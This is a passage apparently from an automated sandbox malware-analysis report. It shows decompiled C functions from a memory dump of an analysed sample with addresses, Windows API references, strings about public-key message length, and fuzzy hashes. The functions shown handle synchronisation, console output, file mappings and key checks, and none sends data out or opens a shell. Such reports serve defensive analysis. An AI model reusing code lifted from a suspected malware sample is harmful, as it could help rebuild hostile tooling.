					_t200 =  *0x16f170; // 0xd529e887
					_t201 = _t200 ^ _t327;
					_v364 = _t201;
					_push(_t236);
					_push(_t307);
					_push(_t302);
					_push(_t201);
					 *[fs:0x0] =  &_v360;
					_t303 = _v340;
					_v476 = _v328;
					_push(0x20);
					_v480 = _v320;
					_t314 = E000ECF08(_t307, _t331);
					_v484 = _t314;
					if(_v312 == 0) {
						_v12 = 1;
						__eflags = _t314;
						if(_t314 == 0) {
							goto L19;
						} else {
							E000ADB10(_t314, _t290, 0);
							 *((intOrPtr*)(_t314 + 0xc)) = _a4;
							 *_t314 = 0x13b9a8;
							 *((intOrPtr*)(_t314 + 4)) = 0x13ba60;
							 *((intOrPtr*)(_t314 + 0x10)) = _a8;
							 *((intOrPtr*)(_t314 + 0x18)) = 0;
							 *((intOrPtr*)(_t314 + 0x1c)) = 0;
						}
					} else {
						_v12 = 0;
						_t333 = _t314;
						if(_t314 == 0) {
							L19:
							_t314 = 0;
							__eflags = 0;
						} else {
							E000ADB10(_t314, _t290, 0);
							 *((intOrPtr*)(_t314 + 0xc)) = _a4;
							 *((intOrPtr*)(_t314 + 0x10)) = _a8;
							 *((intOrPtr*)(_t314 + 0x18)) = 0;
							 *((intOrPtr*)(_t314 + 0x1c)) = 0;
							 *_t314 = 0x13e164;
							 *((intOrPtr*)(_t314 + 4)) = 0x13e21c;
						}
					}
					_v12 = 0xffffffff;
					E000B0E00( &_v132, _t290, _t333, _t303, _t314, 0, 0xffffffff, 0x16f03c, 0x16f03c);
					_t304 = _a32;
					_v12 = 2;
					if(E000C6BC0(_t314) != 0) {
						_t236 = _a24;
						do {
							 *((intOrPtr*)(_v132 + 0x18))(_v136, _a16, 0, 1);
							_t304 = _t304 + 1;
							E000AF690( &_v132, _t304, 1, 1);
							 *((intOrPtr*)(_v132 + 0x18))(_v140, _t236, 0, 1);
							 *((intOrPtr*)(_v132 + 0x18))(0, 0, 0xffffffff, 1);
						} while (E000C6BC0(_t314) != 0);
					}
					E000B1260(_t236,  &_v132);
					 *[fs:0x0] = _v20;
					return E000ECED8(_v24 ^ _t317);
				}
			}

0x000c6c00
0x000c6c03
0x000c6c05
0x000c6c10
0x000c6c11
0x000c6c17
0x000c6c1c
0x000c6c1e
0x000c6c21
0x000c6c22
0x000c6c23
0x000c6c24
0x000c6c28
0x000c6c2e
0x000c6c30
0x000c6c39
0x000c6c3c
0x000c6c45
0x000c6c4e
0x000c6c57
0x000c6c5f
0x000c6c6c
0x000c6c81
0x000c6c89
0x000c6c90
0x000c6c93
0x000c6c99
0x000c6c9c
0x000c6c9e
0x000c6ca1
0x000c6ca6
0x000c6ca6
0x000c6ca9
0x000c6caf
0x000c6cba
0x000c6cc1
0x000c6cd1
0x000c6cf7
0x000c6cfd
0x000c6d00
0x000c6d30
0x000c6d37
0x000c6d43
0x000c6d57
0x000c6d68
0x000c6d74
0x000c6d7c
0x000c6d7f
0x000c6d85
0x000c6d86
0x000c6d8a
0x000c6d8c
0x000c6d8e
0x000c6d97
0x000c6d90
0x000c6d90
0x000c6d90
0x000c6d9f
0x000c6da5
0x000c6dab
0x000c6db3
0x000c6dbc
0x000c6dc2
0x000c6dc4
0x000c6dc5
0x000c6dc7
0x000c6dd0
0x000c6dc9
0x000c6dc9
0x000c6dc9
0x000c6de2
0x000c6deb
0x000c6dee
0x000c6df9
0x000c6e07
0x000c6e11
0x000c6c6e
0x000c6c70
0x000c6c73
0x000c6c76
0x000c6e1a
0x000c6e1d
0x000c6e1e
0x000c6e2a
0x000c6e32
0x000c6e37
0x000c6e3e
0x000c6e42
0x000c6e50
0x000c6e50
0x000c6e68
0x000c6e6f
0x000c6e80
0x000c6e82
0x000c6e8c
0x000c6e90
0x000c6e96
0x000c6ea4
0x000c6ea9
0x000c6eb6
0x000c6ebb
0x000c6ecc
0x000c6ed1
0x000c6ede
0x000c6ee3
0x000c6ef1
0x000c6ef6
0x000c6efb
0x000c6f05
0x000c6f09
0x000c6f1a
0x000c6f1f
0x000c6f20
0x000c6f21
0x000c6f23
0x000c6f25
0x000c6f30
0x000c6f34
0x000c6f39
0x000c6f3b
0x000c6f3e
0x000c6f3f
0x000c6f40
0x000c6f41
0x000c6f45
0x000c6f4e
0x000c6f51
0x000c6f57
0x000c6f59
0x000c6f67
0x000c6f6d
0x000c6f73
0x000c6fb2
0x000c6fb9
0x000c6fbb
0x00000000
0x000c6fbd
0x000c6fc1
0x000c6fc9
0x000c6fcf
0x000c6fd5
0x000c6fdc
0x000c6fdf
0x000c6fe6
0x000c6fe6
0x000c6f75
0x000c6f75
0x000c6f7c
0x000c6f7e
0x000c6fef
0x000c6fef
0x000c6fef
0x000c6f80
0x000c6f84
0x000c6f8c
0x000c6f92
0x000c6f95
0x000c6f9c
0x000c6fa3
0x000c6fa9
0x000c6fa9
0x000c6f7e
0x000c7004
0x000c700b
0x000c7010
0x000c7015
0x000c7023
0x000c7025
0x000c7028
0x000c7038
0x000c7045
0x000c7046
0x000c705c
0x000c706d
0x000c7077
0x000c7028
0x000c707e
0x000c7086
0x000c709e
0x000c709e

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000C6F1A

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000C6E50

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

: message length of , xrefs: 000C6E98
for this public key, xrefs: 000C6EE8
exceeds the maximum of , xrefs: 000C6EC0
: this key is too short to encrypt any messages, xrefs: 000C6E21

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: exceeds the maximum of $ for this public key$: message length of $: this key is too short to encrypt any messages
API String ID: 654547538-412673420
Opcode ID: 1b76fbd45df09dcdb847db9031fb2c59f909bddd53a2939860e78688cf0af79e
Instruction ID: 84c3da8c0313f0e2cd36b86f1f914a29adf57a908ad2cb8525b83f2aa352fc51
Opcode Fuzzy Hash: 1b76fbd45df09dcdb847db9031fb2c59f909bddd53a2939860e78688cf0af79e
Instruction Fuzzy Hash: 7A916C75A00258EFDF24DB64CC45FDEBBB9AF48314F144099E549A3242DB71AE44CFA1

Uniqueness

Uniqueness Score: 100.00%

Function 00058770, Relevance: 10.7, APIs: 7, Instructions: 174
UNIQUE

Download Yara Rule

C-Code - Quality: 80%

			E00058770(long** __ecx) {
				long _v8;
				char _v16;
				long** _v20;
				void* _v24;
				char _v28;
				void* __edi;
				void* __esi;
				signed int _t35;
				int _t38;
				long _t40;
				void** _t44;
				intOrPtr _t46;
				void* _t47;
				void* _t49;
				signed int _t52;
				void* _t55;
				void* _t56;
				void* _t60;
				signed int _t61;
				void* _t64;
				long** _t71;
				void* _t72;
				intOrPtr _t77;
				void* _t78;
				long** _t80;
				void* _t82;
				signed int _t84;
				void* _t85;
				void* _t86;

				_push(0xffffffff);
				_push(0x12d370);
				_push( *[fs:0x0]);
				_t86 = _t85 - 0xc;
				_push(_t82);
				_t35 =  *0x16f170; // 0xd529e887
				_push(_t35 ^ _t84);
				 *[fs:0x0] =  &_v16;
				_t80 = __ecx;
				_v20 = __ecx;
				_t38 =  *(__ecx + 8);
				_t87 = _t38;
				if(_t38 == 0) {
					L43:
					 *[fs:0x0] = _v16;
					return _t38;
				}
				E00063B80(_t38,  &_v28, _t87, __ecx);
				_t40 =  *(__ecx + 8);
				if(_t40 != 0) {
					 *(__ecx + 8) = _t40 - 1;
					ReleaseSemaphore( *(__ecx + 0x1c), 1, 0);
					_t82 = _t80[4];
					_t80 = _t80[5];
					__eflags = _t82 - _t80;
					if(_t82 == _t80) {
						L38:
						_v8 = 1;
						goto L39;
					} else {
						goto L4;
					}
					do {
						L4:
						_t44 =  *_t82;
						_t44[3] = 1;
						ReleaseSemaphore( *_t44, 1, 0);
						_t82 = _t82 + 4;
						__eflags = _t82 - _t80;
					} while (_t82 != _t80);
					_t46 = _v20;
					_t80 =  *(_t46 + 0x14);
					_t82 =  *(_t46 + 0x10);
					__eflags = _t82 - _t80;
					if(_t82 == _t80) {
						goto L38;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t47 = E000586C0(_t82);
						_t86 = _t86 + 4;
						__eflags = _t47;
						if(_t47 != 0) {
							break;
						}
						_t82 = _t82 + 4;
						__eflags = _t82 - _t80;
						if(_t82 != _t80) {
							continue;
						}
						break;
					}
					__eflags = _t82 - _t80;
					if(_t82 == _t80) {
						goto L38;
					}
					_t71 = _t82 + 4;
					__eflags = _t71 - _t80;
					if(_t71 == _t80) {
						L23:
						__eflags = _t82 - _t80;
						if(_t82 == _t80) {
							goto L38;
						}
						_t49 =  *(_v20 + 0x14);
						_v24 = _t49;
						__eflags = _t80 - _t49;
						if(_t80 == _t49) {
							L37:
							E00067340(_t49, _t82, _t49);
							 *(_v20 + 0x14) = _t82;
							goto L38;
						}
						do {
							_t52 =  *_t80;
							 *_t80 = 0;
							_t72 =  *_t82;
							 *_t82 = _t52;
							__eflags = _t72;
							if(_t72 != 0) {
								__eflags = _t52 | 0xffffffff;
								asm("lock xadd [ebx+0x10], eax");
								if((_t52 | 0xffffffff) == 0) {
									_t55 =  *(_t72 + 4);
									__eflags = _t55;
									if(_t55 != 0) {
										__eflags = _t55 - 0xffffffff;
										if(_t55 != 0xffffffff) {
											CloseHandle(_t55);
										}
									}
									_t56 =  *_t72;
									__eflags = _t56;
									if(_t56 != 0) {
										__eflags = _t56 - 0xffffffff;
										if(_t56 != 0xffffffff) {
											CloseHandle(_t56);
										}
									}
									_push(0x14);
									E000ED2D0(_t72);
									_t86 = _t86 + 8;
								}
							}
							_t80 =  &(_t80[1]);
							_t82 = _t82 + 4;
							__eflags = _t80 - _v24;
						} while (_t80 != _v24);
						_t49 =  *(_v20 + 0x14);
						goto L37;
					} else {
						asm("o16 nop [eax+eax]");
						do {
							_t60 = E000586C0(_t71);
							_t86 = _t86 + 4;
							__eflags = _t60;
							if(_t60 != 0) {
								goto L22;
							}
							_t61 =  *_t71;
							 *_t71 = 0;
							_t78 =  *_t82;
							_v24 = _t78;
							 *_t82 = _t61;
							__eflags = _t78;
							if(_t78 != 0) {
								__eflags = _t61 | 0xffffffff;
								asm("lock xadd [ecx+0x10], eax");
								if((_t61 | 0xffffffff) == 0) {
									_t64 =  *_t78;
									__eflags = _t64;
									if(_t64 != 0) {
										__eflags = _t64 - 0xffffffff;
										if(_t64 != 0xffffffff) {
											CloseHandle(_t64);
											_t78 = _v24;
										}
									}
									_push(0x14);
									E000ED2D0(_t78);
									_t86 = _t86 + 8;
								}
							}
							_t82 = _t82 + 4;
							__eflags = _t82;
							L22:
							_t71 =  &(_t71[1]);
							__eflags = _t71 - _t80;
						} while (_t71 != _t80);
						goto L23;
					}
				} else {
					_v8 = _t40;
					L39:
					_t77 = _v28;
					_t38 = 0x80000000;
					asm("lock xadd [ecx], eax");
					if(0 == 0 && 0x80000000 > 0x80000000) {
						asm("lock bts dword [ecx], 0x1e");
						if(0x80000000 >= 0x80000000) {
							_t38 = SetEvent(E00058630(_t77, _t80, _t82));
						}
					}
					goto L43;
				}
			}

0x00058773
0x00058775
0x00058780
0x00058781
0x00058785
0x00058787
0x0005878e
0x00058792
0x00058798
0x0005879a
0x0005879d
0x000587a0
0x000587a2
0x0005894c
0x0005894f
0x0005895d
0x0005895d
0x000587ac
0x000587b1
0x000587b6
0x000587cb
0x000587d1
0x000587d3
0x000587d6
0x000587d9
0x000587db
0x00058918
0x00058918
0x00000000
0x00000000
0x00000000
0x00000000
0x000587e1
0x000587e1
0x000587e1
0x000587e9
0x000587ed
0x000587ef
0x000587f2
0x000587f2
0x000587f6
0x000587f9
0x000587fc
0x000587ff
0x00058801
0x00000000
0x00000000
0x00000000
0x00000000
0x00058807
0x00058807
0x00058808
0x0005880d
0x00058810
0x00058812
0x00000000
0x00000000
0x00058814
0x00058817
0x00058819
0x00000000
0x00000000
0x00000000
0x00058819
0x0005881b
0x0005881d
0x00000000
0x00000000
0x00058823
0x00058826
0x00058828
0x0005889a
0x0005889a
0x0005889c
0x00000000
0x00000000
0x000588a1
0x000588a4
0x000588a7
0x000588a9
0x0005890b
0x0005890d
0x00058915
0x00000000
0x00058915
0x000588b0
0x000588b0
0x000588b2
0x000588b8
0x000588ba
0x000588bc
0x000588be
0x000588c0
0x000588c3
0x000588c8
0x000588ca
0x000588cd
0x000588cf
0x000588d1
0x000588d4
0x000588d7
0x000588d7
0x000588d4
0x000588dd
0x000588df
0x000588e1
0x000588e3
0x000588e6
0x000588e9
0x000588e9
0x000588e6
0x000588ef
0x000588f2
0x000588f7
0x000588f7
0x000588c8
0x000588fa
0x000588fd
0x00058900
0x00058900
0x00058908
0x00000000
0x0005882a
0x0005882a
0x00058830
0x00058831
0x00058836
0x00058839
0x0005883b
0x00000000
0x00000000
0x0005883d
0x0005883f
0x00058845
0x00058847
0x0005884a
0x0005884c
0x0005884e
0x00058850
0x00058853
0x00058858
0x00058870
0x00058872
0x00058874
0x00058876
0x00058879
0x0005887c
0x00058882
0x00058882
0x00058879
0x00058885
0x00058888
0x0005888d
0x0005888d
0x00058858
0x00058890
0x00058890
0x00058893
0x00058893
0x00058896
0x00058896
0x00000000
0x00058830
0x000587b8
0x000587b8
0x0005891f
0x0005891f
0x00058922
0x00058927
0x00058930
0x00058939
0x0005893e
0x00058946
0x00058946
0x0005893e
0x00000000
0x00058930

APIs

Part of subcall function 00063B80: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 00063BE5

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,D529E887,80000000,?,00000000,?,?,00062B15,00000000,000000FF), ref: 000587D1
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000,?,D529E887,80000000,?,00000000,?,?,00062B15,00000000,000000FF), ref: 000587ED
CloseHandle.KERNEL32(00000000), ref: 00058867
CloseHandle.KERNEL32(00000000), ref: 0005887C
CloseHandle.KERNEL32(?), ref: 000588D7
CloseHandle.KERNEL32(?), ref: 000588E9

Part of subcall function 00067340: CloseHandle.KERNEL32(?), ref: 00067377
Part of subcall function 00067340: CloseHandle.KERNEL32(?), ref: 00067385

Part of subcall function 00058630: CreateEventA.KERNEL32(?,?,?,?,D529E887,?,?,?,?,?,?,?,0012D348,000000FF,?,00063BD7), ref: 00058667
Part of subcall function 00058630: CloseHandle.KERNEL32(00000000), ref: 00058682

SetEvent.KERNEL32(00000000,?,D529E887,80000000,?,00000000,?), ref: 00058946

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$EventReleaseSemaphore$CreateObjectSingleWait
String ID:
API String ID: 2804137401-0
Opcode ID: 131a0ed0d1410b086eb350eb05048bd92f25684606a2757306197e06033298e7
Instruction ID: 988184ebf31f6dbd702ab64e5b30769962b4f736a5c56b32c4e3a2fe571ac952
Opcode Fuzzy Hash: 131a0ed0d1410b086eb350eb05048bd92f25684606a2757306197e06033298e7
Instruction Fuzzy Hash: 5E51B171A002019BDB209F68D884B7BB7E4FF04325F694658ED15B7291DF31ED498BA2

Uniqueness

Uniqueness Score: 100.00%

Function 0011CD40, Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0011CD40(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0x16f170; // 0xd529e887
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x179eb0 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x179eb0 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E00116851(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x179eb0 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x179eb0 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x179eb0 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E0011DB3E( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E0011DB3E();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E000ECED8(_v8 ^ _t136);
			}

0x0011cd48
0x0011cd4f
0x0011cd52
0x0011cd5a
0x0011cd5e
0x0011cd6a
0x0011cd6d
0x0011cd70
0x0011cd77
0x0011cd7f
0x0011cd82
0x0011cd88
0x0011cd8e
0x0011cd93
0x0011cd95
0x0011cd98
0x0011cd9d
0x0011cda7
0x0011cdae
0x0011cdb1
0x0011cdb8
0x0011cdbf
0x0011cdeb
0x0011ce11
0x0011ce13
0x00000000
0x0011cded
0x0011cdf0
0x0011ceb7
0x0011cec3
0x0011cece
0x0011ced3
0x0011cdf6
0x0011cdfd
0x0011ce02
0x0011ce08
0x0011ce0e
0x00000000
0x0011ce0e
0x0011ce08
0x0011cdf0
0x0011cdc1
0x0011cdc5
0x0011cdc8
0x0011cdce
0x0011cdd0
0x0011cdd3
0x0011cdd7
0x0011ce14
0x0011ce17
0x0011ce18
0x0011ce1d
0x0011ce23
0x0011ce29
0x0011ce38
0x0011ce3e
0x0011ce44
0x0011ce49
0x0011ce65
0x0011ced8
0x0011cede
0x0011ce67
0x0011ce6f
0x0011ce78
0x0011ce7e
0x00000000
0x0011ce80
0x0011ce82
0x0011ce85
0x0011ce9e
0x00000000
0x0011cea0
0x0011cea4
0x0011cea6
0x0011cea9
0x00000000
0x0011cea9
0x0011cea4
0x0011ce9e
0x0011ce7e
0x0011ce78
0x0011ce65
0x0011ce49
0x0011ce23
0x00000000
0x0011ceac
0x0011ceac
0x0011cee0
0x0011cef2

APIs

GetConsoleCP.KERNEL32 ref: 0011CD82
__fassign.LIBCMT ref: 0011CDFD
__fassign.LIBCMT ref: 0011CE18
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 0011CE3E
WriteFile.KERNEL32(?,?,00000000,0011D4B5,00000000), ref: 0011CE5D
WriteFile.KERNEL32(?,?,00000001,0011D4B5,00000000), ref: 0011CE96
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0011D4B5,?,?,?,?,?,?), ref: 0011CED8

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FileWrite__fassign$ByteCharConsoleErrorFeatureLastMultiPresentProcessorWide___raise_securityfailure
String ID:
API String ID: 2264489263-0
Opcode ID: 6eed187d298e5a9794f43003bcf047810b6e56476de25a7aaf6f5adb100d6035
Instruction ID: b415b0e236e493f167d00cd25de7deeead9cd53cf9765674e8db30519d0d461b
Opcode Fuzzy Hash: 6eed187d298e5a9794f43003bcf047810b6e56476de25a7aaf6f5adb100d6035
Instruction Fuzzy Hash: EA51C3719402499FDF14CFA8D845AEEBFF5FF09300F14412AE956E7291D730A981CBA0

Uniqueness

Uniqueness Score: 1.11%

Function 00055DF0, Relevance: 10.6, APIs: 7, Instructions: 141
UNIQUE

Download Yara Rule

C-Code - Quality: 68%

			E00055DF0(intOrPtr __ebx, void** __ecx, void* __edi, intOrPtr _a4, long _a8, void* _a12, char _a16, char _a20) {
				signed int _v8;
				signed int _v12;
				char _v60;
				long _v64;
				CHAR* _v68;
				char _v72;
				struct _SECURITY_ATTRIBUTES** _v76;
				char _v80;
				char _v84;
				void* __esi;
				signed int _t31;
				long _t34;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t41;
				void* _t58;
				void* _t62;
				intOrPtr* _t68;
				long _t71;
				char* _t75;
				char* _t77;
				int* _t78;
				void* _t82;
				long _t83;
				void** _t85;
				void* _t88;
				void* _t89;
				int* _t90;
				signed int _t96;

				_t64 = __ebx;
				_t98 = (_t96 & 0xfffffff8) - 0x44;
				_t31 =  *0x16f170; // 0xd529e887
				_v8 = _t31 ^ (_t96 & 0xfffffff8) - 0x00000044;
				_push(__ebx);
				_v60 = _a16;
				_t34 = _a8;
				_t85 = __ecx;
				_v64 = _t34;
				_t82 =  !=  ? _t34 : 0x15063e;
				_v72 = _a20;
				_t68 = 0x15063e;
				_t8 = _t68 + 1; // 0x15063f
				_t88 = _t8;
				do {
					_t35 =  *_t68;
					_t68 = _t68 + 1;
				} while (_t35 != 0);
				_push(_t68 - _t88);
				E00068B90(__ecx + 8, _t82, _t88, 0x15063e);
				_t89 = _a12;
				if(_t89 == 0x80000000) {
					_t83 = 2;
					_t13 = _t83 + 3; // 0x5
					_t71 = _t13;
					goto L8;
				} else {
					if(_t89 == 0xc0000000) {
						_t83 = 4;
						_t12 = _t83 - 1; // 0x3
						_t71 = _t12;
						goto L8;
					} else {
						if(_t89 != 0xc0000001) {
							L19:
							_t75 =  &_v80;
							E000556A0(_t75, 0x11);
							_push(_t75);
							E000557B0(_t64,  &_v64, _t85, _t89, _t75);
							E001047B7( &_v72, 0x16cb2c);
							goto L20;
						} else {
							_t83 = 8;
							_t11 = _t83 - 7; // 0x1
							_t71 = _t11;
							L8:
							_t64 = _a4;
							_t38 = _t64;
							if(_t38 == 0) {
								L13:
								_t41 = CreateFileMappingA(0xffffffff,  *_v76, _t83, 0, _v64, _v68);
								goto L14;
							} else {
								_t62 = _t38 - 1;
								if(_t62 == 0) {
									_t41 = OpenFileMappingA(_t71, 0, _v68);
									L14:
									 *_t85 = _t41;
									if(_t41 == 0 || _t64 == 0 && GetLastError() == 0xb7) {
										E000556C0( &_v76, GetLastError());
										L21();
										_push(_t85);
										E000557B0(_t64,  &_v60, _t85, _t89,  &_v80);
										E001047B7( &_v68, 0x16cb2c);
										goto L19;
									} else {
										_t85[1] = _t89;
										return E000ECED8(_v12 ^ _t98);
									}
								} else {
									if(_t62 != 1) {
										L20:
										_t77 =  &_v84;
										E000556A0(_t77, 2);
										_push(_t77);
										_t78 =  &_v68;
										E000557B0(_t64, _t78, _t85, _t89, _t77);
										E001047B7( &_v76, 0x16cb2c);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t89);
										_t90 = _t78;
										_t58 =  *_t90;
										if(_t58 != 0) {
											_t58 = CloseHandle(_t58);
											 *_t90 = 0;
										}
										return _t58;
									} else {
										goto L13;
									}
								}
							}
						}
					}
				}
			}

0x00055df0
0x00055df6
0x00055df9
0x00055e00
0x00055e0c
0x00055e0e
0x00055e12
0x00055e18
0x00055e1a
0x00055e21
0x00055e24
0x00055e28
0x00055e2a
0x00055e2a
0x00055e30
0x00055e30
0x00055e32
0x00055e33
0x00055e39
0x00055e3e
0x00055e43
0x00055e4c
0x00055e76
0x00055e7b
0x00055e7b
0x00000000
0x00055e4e
0x00055e54
0x00055e6c
0x00055e71
0x00055e71
0x00000000
0x00055e56
0x00055e5c
0x00055f25
0x00055f27
0x00055f2b
0x00055f30
0x00055f38
0x00055f47
0x00000000
0x00055e62
0x00055e62
0x00055e67
0x00055e67
0x00055e7e
0x00055e7e
0x00055e83
0x00055e86
0x00055ea7
0x00055ebb
0x00000000
0x00055e88
0x00055e88
0x00055e8b
0x00055e9f
0x00055ec1
0x00055ec1
0x00055ec5
0x00055efb
0x00055f02
0x00055f07
0x00055f11
0x00055f20
0x00000000
0x00055ed8
0x00055ede
0x00055eee
0x00055eee
0x00055e8d
0x00055e90
0x00055f4c
0x00055f4e
0x00055f52
0x00055f57
0x00055f5a
0x00055f5f
0x00055f6e
0x00055f73
0x00055f74
0x00055f75
0x00055f76
0x00055f77
0x00055f78
0x00055f79
0x00055f7a
0x00055f7b
0x00055f7c
0x00055f7d
0x00055f7e
0x00055f7f
0x00055f80
0x00055f81
0x00055f83
0x00055f87
0x00055f8a
0x00055f90
0x00055f90
0x00055f97
0x00055e96
0x00000000
0x00055e96
0x00055e90
0x00055e8b
0x00055e86
0x00055e5c
0x00055e54

APIs

OpenFileMappingA.KERNEL32(00000005,00000000,0015063E), ref: 00055E9F
CreateFileMappingA.KERNEL32(000000FF,0015063E,00000002,00000000,?,0015063E), ref: 00055EBB
GetLastError.KERNEL32 ref: 00055ECB

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

GetLastError.KERNEL32 ref: 00055EF1

Part of subcall function 00055F80: CloseHandle.KERNEL32(00000000), ref: 00055F8A

Part of subcall function 000557B0: FormatMessageA.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 0005583B
Part of subcall function 000557B0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 00055852

__CxxThrowException@8.LIBVCRUNTIME ref: 00055F20

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 00055F47
__CxxThrowException@8.LIBVCRUNTIME ref: 00055F6E

Memory Dump Source

